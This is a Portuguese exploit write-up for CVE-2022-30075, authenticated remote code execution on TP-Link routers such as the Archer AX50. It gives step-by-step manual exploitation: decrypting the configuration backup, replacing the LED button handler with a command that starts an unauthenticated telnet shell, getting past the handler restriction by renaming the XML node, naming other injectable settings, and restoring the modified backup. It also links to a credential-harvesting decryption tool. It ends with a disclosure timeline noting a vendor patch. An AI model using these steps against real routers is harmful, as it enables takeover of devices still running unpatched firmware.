CVE-2022-30075

Execução Remota de Código Autenticada em Roteadores Tp-Link

Dispositivos Afetados

Se o seu roteador Tp-Link possui funcionalidade de backup e restauração e o firmware é anterior a junho de 2022, ele provavelmente está vulnerável

Testado Com

Tp-Link Archer AX50, outros roteadores tplink podem usar formato diferente de backups e o exploit precisa ser modificado

PoC

Usando o exploit para iniciar o daemon telnet no roteador

Exploração Manual

1. faça login na interface web do roteador
2. vá em Avançado -> Sistema -> Configurações de backup
3. descriptografe e descomprima o arquivo de backup

• se o seu roteador usa formato diferente de arquivos de backup, você pode modificar o código do exploit (classe BackupParser) ou simplesmente usar alguma ferramenta do github:
  https://github.com/stdnoerr/tp_link_credentials_harvester/blob/master/decrypt.py
  https://github.com/ret5et/tplink_backup_decrypt_2022.bin
  ...

4. no arquivo xml descriptografado você pode encontrar algo assim:

<button name="led_switch">
  <action>pressed</action>
  <button>ledswitch</button>
  <handler>/lib/led_switch</handler>
</button>

• substitua-o por estas linhas

<button name="exploit">
  <action>pressed</action>
  <button>ledswitch</button>
  <handler>/usr/sbin/telnetd -l /bin/login.sh</handler>
</button>

• existe uma restrição que bloqueia a modificação do parâmetro system.button.handler, mas ela pode ser facilmente contornada alterando o nome do nó xml pai (por exemplo, name="exploit")
• a execução de código pode ser alcançada não apenas alterando o parâmetro system.button.handler, mas também usando ddns.service.ip_script, firewall.include.path, uhttpd.main e outros...

5. comprima e criptografe o arquivo de backup modificado
6. vá em Avançado -> Sistema -> Configurações de restauração -> envie o arquivo de backup modificado
7. após reiniciar, pressione o botão led que dispara a execução do comando injetado /usr/sbin/telnetd -l /bin/login.sh
8. faça login remotamente no roteador: telnet 192.168.1.1

Linha do Tempo

15.03.2022 - Vulnerabilidade identificada
15.03.2022 - Suporte da Tp-Link contatado
16.03.2022 - Resposta recebida da Tp-Link
02.05.2022 - CVE atribuído
27.05.2022 - Tp-Link lançou firmware com a vulnerabilidade corrigida
07.06.2022 - Detalhes técnicos publicados